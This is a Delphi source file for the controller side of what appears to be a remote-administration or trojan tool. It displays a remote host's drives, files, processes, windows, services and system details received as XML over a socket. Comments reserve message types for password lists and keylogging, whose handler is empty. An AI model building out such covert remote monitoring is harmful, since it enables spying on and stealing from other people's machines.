📄 fileandclientinfoctrlunit.pas
字号:
ListItem := ListViewFile.Items.Add;
//文件名
Listitem.Caption := Node.Attributes['text'];
//文件图标
case StrToInt(Node.Attributes['imageIndex']) of
4: //我的电脑
begin
ZeroMemory(@SHFileInfo, sizeof(TSHFileInfo));
SHGetFileInfo('C:\', 0, SHFileInfo, sizeof(TSHFileInfo),
SHGFI_ICON or SHGFI_SYSICONINDEX or SHGFI_SMALLICON);
//文件图标
ListItem.ImageIndex := SHFileInfo.iIcon;
end;
6: //网络磁盘
begin
mypItemIDList := @ItemIDList;
SHGetSpecialFolderLocation(Self.Handle, CSIDL_NETWORK, mypItemIDList);
ZeroMemory(@SHFileInfo, sizeof(TSHFileInfo));
SHGetFileInfo(PChar(mypItemIDList), 0, SHFileInfo, sizeof(TSHFileInfo),
shgfi_sysiconindex or shgfi_icon or shgfi_smallicon or shgfi_pidl);
//文件图标
ListItem.ImageIndex := SHFileInfo.iIcon;
end;
10: //cd驱动器
begin
for i := Byte('A') to Byte('Z') do
begin
tmpTtr := Char(i) + ':\';
if GetDriveType(PChar(tmpTtr)) = DRIVE_CDROM then
Break;
end;
ZeroMemory(@SHFileInfo, sizeof(TSHFileInfo));
SHGetFileInfo(PChar(tmpTtr), 0, SHFileInfo, sizeof(TSHFileInfo),
SHGFI_ICON or SHGFI_SYSICONINDEX or SHGFI_SMALLICON);
//文件图标
ListItem.ImageIndex := SHFileInfo.iIcon;
end;
end;
//类型
Listitem.SubItems.Add(Node.Attributes['Description']);
//大小
strLow := Node.Attributes['FreeSpace'];
FreeSpace := StrToInt('$' + strLow);
strLow := Node.Attributes['TotalSpace'];
TotalSpace := StrToInt('$' + strLow);
fFreeSpace := FreeSpace / 1024 / 1024;
fTotalSpace := TotalSpace / 1024 / 1024;
Listitem.SubItems.Add(Format('%f GB / %f GB', [fFreeSpace, fTotalSpace]));
//修改日期
Listitem.SubItems.Add('');
//完整路径
Listitem.SubItems.Add(Listitem.Caption);
//添加到combox里面
IsAdded := False;
for i := 0 to RCBTreeList.Items.Count - 1 do
begin
if Listitem.Caption = RCBTreeList.Items.Strings[i] then
begin
IsAdded := True;
Break;
end;
end;
if not IsAdded then
RCBTreeList.Items.Add(Listitem.Caption);
//增加文件计数
Inc(FileCount);
end;
end;
end; (*ProcessNode*)
begin
ListViewFile.Items.BeginUpdate;
ListViewFile.Clear;
XMLDocument1.Active := True;
//如果mxl是空的,则直接退出
if XMLDocument1.ChildNodes.First = nil then
begin
Exit;
end;
jNode := XMLDocument1.DocumentElement.ChildNodes.First;
while jNode <> nil do
begin
ProcessNode(jNode);
jNode := jNode.NextSibling;
end;
XMLDocument1.Active := False;
ListViewFile.Items.EndUpdate;
end;
//根据xml描述文件,将服务列表加入
procedure TFileAndInfoCtrlForm.XML2ListService(const ListType : Byte; out FileCount : DWORD);
var
ListItem : TListItem;
Node : IXMLNode;
begin
ListViewService.Items.BeginUpdate;
ListViewService.Clear;
XMLDocument1.Active := True;
//如果mxl是空的,则直接退出
if XMLDocument1.ChildNodes.First = nil then
begin
Exit;
end;
Node := XMLDocument1.DocumentElement.ChildNodes.First;
while Node <> nil do
begin
//加入listview里面
ListItem := ListViewService.Items.Add;
try
Listitem.Caption := Node.Attributes['Index'];
Listitem.SubItems.Add(Node.Attributes['ServiceName']);
Listitem.SubItems.Add(Node.Attributes['DescriptionName']);
Listitem.SubItems.Add(Node.Attributes['CurrentState']);
Listitem.SubItems.Add(Node.Attributes['StartType']);
Listitem.SubItems.Add(Node.Attributes['ServiceType']);
Listitem.SubItems.Add(Node.Attributes['ControlsAccepted']);
except
Break;
end;
Node := Node.NextSibling;
Inc(FileCount);
end;
XMLDocument1.Active := False;
ListViewService.Items.EndUpdate;
end;
//根据xml描述文件,将窗口列表加入
procedure TFileAndInfoCtrlForm.XML2ListWindow(const ListType : Byte; out FileCount : DWORD);
var
ListItem : TListItem;
Node : IXMLNode;
RHWND : HWND;
RPID : DWORD;
begin
ListViewWindowList.Items.BeginUpdate;
ListViewWindowList.Clear;
XMLDocument1.Active := True;
//如果mxl是空的,则直接退出
if XMLDocument1.ChildNodes.First = nil then
begin
Exit;
end;
Node := XMLDocument1.DocumentElement.ChildNodes.First;
while Node <> nil do
begin
if Node.Attributes['IsVisibleWindow'] = 'Yes' then
begin
//下一个
Node := Node.NextSibling;
Continue;
end;
//加入listview里面
ListItem := ListViewWindowList.Items.Add;
Listitem.Caption := IntToStr(FileCount);//Node.Attributes['Index'];
Listitem.SubItems.Add(Node.Attributes['title']);
Listitem.SubItems.Add(Node.Attributes['IsVisibleWindow']);
Listitem.SubItems.Add(Node.Attributes['classname']);
RHWND := StrToInt(Node.Attributes['WindowID']);
RPID := StrToInt(Node.Attributes['ProcID']);
Listitem.SubItems.Add('$' + IntToHex(RHWND, 8));
Listitem.SubItems.Add('$' + IntToHex(RPID, 4));
//下一个
Node := Node.NextSibling;
Inc(FileCount);
end;
XMLDocument1.Active := False;
ListViewWindowList.Items.EndUpdate;
end;
//根据xml描述文件,将进程列表加入
procedure TFileAndInfoCtrlForm.XML2ListProcess(const ListType : Byte; out FileCount : DWORD);
var
ListItem : TListItem;
Node : IXMLNode;
ExeStr : string;
i : integer;
RPID : DWORD;
begin
ListViewProcessList.Items.BeginUpdate;
ListViewProcessList.Clear;
XMLDocument1.Active := True;
//如果mxl是空的,则直接退出
if XMLDocument1.ChildNodes.First = nil then
begin
Exit;
end;
Node := XMLDocument1.DocumentElement.ChildNodes.First;
while Node <> nil do
begin
//加入listview里面
ListItem := ListViewProcessList.Items.Add;
Listitem.Caption := Node.Attributes['Index'];
//文件名
ExeStr := Node.Attributes['ExeShortName'];
for i := 1 to Length(ExeStr) do
if ExeStr[i] = '?' then ExeStr[i] := '&';
Listitem.SubItems.Add(ExeStr);
//ProcessID
RPID := StrToInt(Node.Attributes['ProcessID']);
Listitem.SubItems.Add('$' + IntToHex(RPID, 4));
//完整路径
ExeStr := Node.Attributes['ExeFileName'];
for i := 1 to Length(ExeStr) do
if ExeStr[i] = '?' then ExeStr[i] := '&';
Listitem.SubItems.Add(ExeStr);
//下一个
Node := Node.NextSibling;
Inc(FileCount);
end;
XMLDocument1.Active := False;
ListViewProcessList.Items.EndUpdate;
end;
//得到文件列表,主机信息.进程列表等等的通知
procedure TFileAndInfoCtrlForm.ReceiveNotifyMsg(var Message: TMessage);
var
DataBits : Pointer;
ListTypeChar : Char;
ListType : Byte;
Strlen : DWORD;
tmpString : string;
tmpStringW : Widestring;
FileCount : DWORD;
i : DWORD;
ListItem : TListItem;
Node : IXMLNode;
//
CPUSpeedDWORD : DWORD;
begin
//格式:1byte信息类型,4byte信息字符串长度,Nbyte的字符串
//1byte额值, 1=文件列表, 2=磁盘列表, 3=主机信息列表
//4=进程列表,5=窗口列表,6=服务列表, 7=PasswordListType
//不以0开始,是因为在字符串里面,0是结束标志,因此不用
FileCount := 0;
DataBits := RemoteUnCmpedFrameData;
if DataBits <> nil then
begin
CopyMemory(@ListTypeChar, DataBits, sizeof(byte));
ListType := StrToInt(ListTypeChar);
CopyMemory(@Strlen, Pointer(DWORD(DataBits) + sizeof(byte)), sizeof(DWORD));
tmpString := PChar(DWORD(DataBits) + sizeof(byte) + sizeof(DWORD));
for i := 1 to Length(tmpString) do
begin
if tmpString[i] = '&' then
tmpString[i] := '?';
end;
//自动转化ansi到unicode
tmpStringW := tmpString;
//需要在接收到自定义消息以后,将数据写入内存流
try
XMLDocument1.LoadFromXML(tmpStringW);
except
StatusBarMsg.Panels[4].Text := 'XML列表解析错误';
//通知接收线程可以继续了
SetEvent(MsgDealDataOkNotifyEvent);
Exit;
end;
//通知接收线程可以继续了
SetEvent(MsgDealDataOkNotifyEvent);
case ListType of
1, 2:
begin
XML2List(ListType, FileCount);
Self.StatusBarMsg.Panels[4].Text := '共发现 ' + IntToStr(FileCount) + ' 个文件对象';
Self.ListViewFile.Cursor := crDefault;
//同时设置当前的文件路径
RCBTreeList.Text := CurrentPath;
end;
3:
begin
ListViewSysInfo.Items.BeginUpdate;
ListViewSysInfo.Clear;
XMLDocument1.Active := True;
//如果mxl是空的,则直接退出
if XMLDocument1.ChildNodes.First = nil then
begin
Exit;
end;
Node := XMLDocument1.DocumentElement.ChildNodes.First;
//加入listview里面
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '主机备注';
Listitem.SubItems.Add(Node.Attributes['ServerUseSelfDefine']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := 'CPU频率';
CPUSpeedDWORD := StrToInt('$' + Node.Attributes['CPUSpeed']);
Listitem.SubItems.Add(Format('%f MHz', [CPUSpeedDWORD / (1000.0 * 500)]));
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '物理内存';
Listitem.SubItems.Add(Node.Attributes['phymemery']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '操作系统版本';
Listitem.SubItems.Add(Node.Attributes['OSVersion']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '主机名';
Listitem.SubItems.Add(Node.Attributes['Computername']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '主机运行时间';
Listitem.SubItems.Add(Node.Attributes['OpenTime']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '屏幕分辨率';
Listitem.SubItems.Add(Node.Attributes['ScreenPixel']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '服务端版本';
Listitem.SubItems.Add(Node.Attributes['ClientVersion']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '系统文件夹';
Listitem.SubItems.Add(Node.Attributes['SysPath']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := 'windows安装文件夹';
Listitem.SubItems.Add(Node.Attributes['WindowsPath']);
ListItem := ListViewSysInfo.Items.Add;
Listitem.Caption := '临时文件夹';
Listitem.SubItems.Add(Node.Attributes['tpmPath']);
XMLDocument1.Active := False;
ListViewSysInfo.Items.EndUpdate;
Self.ListViewSysInfo.Cursor := crDefault;
end;
4://窗口列表
begin
XML2ListWindow(ListType, FileCount);
Self.StatusBarMsg.Panels[4].Text := '共发现 ' + IntToStr(FileCount) + ' 个窗口';
Self.ListViewWindowList.Cursor := crDefault;
end;
5: //进程列表
begin
XML2ListProcess(ListType, FileCount);
Self.StatusBarMsg.Panels[4].Text := '共发现 ' + IntToStr(FileCount) + ' 个进程';
Self.ListViewProcessList.Cursor := crDefault;
end;
6://服务列表
begin
XML2ListService(ListType, FileCount);
Self.StatusBarMsg.Panels[4].Text := '共发现 ' + IntToStr(FileCount) + ' 个服务';
Self.ListViewService.Cursor := crDefault;
end;
7: //键盘记录
begin
end;
end; // end case
end; // end if
PageControl1.Enabled := True;
end;
//双击进入文件夹
procedure TFileAndInfoCtrlForm.ListViewFileDblClick(Sender: TObject);
var
tmpstr : string;
begin
//如果没有选行,
if (ListViewFile.SelCount = 0) then Exit;
tmpstr := ListViewFile.items.item[ListViewFile.ItemIndex].subitems.strings[0];
//选择的是文件夹
if (tmpstr = '文件夹') or (tmpstr = '本地磁盘')
or (tmpstr = '网络磁盘') or (tmpstr = 'CD驱动器') then
begin
tmpstr := ListViewFile.items.item[ListViewFile.ItemIndex].subitems.strings[3];
if tmpstr[Length(tmpstr)] <> '\' then tmpstr := tmpstr + '\';
if ClientSocket <> 0 then
begin
Self.ListViewFile.Cursor := crHourGlass;
CMDHeader.Order := CMDSendFileList;
SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
end;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -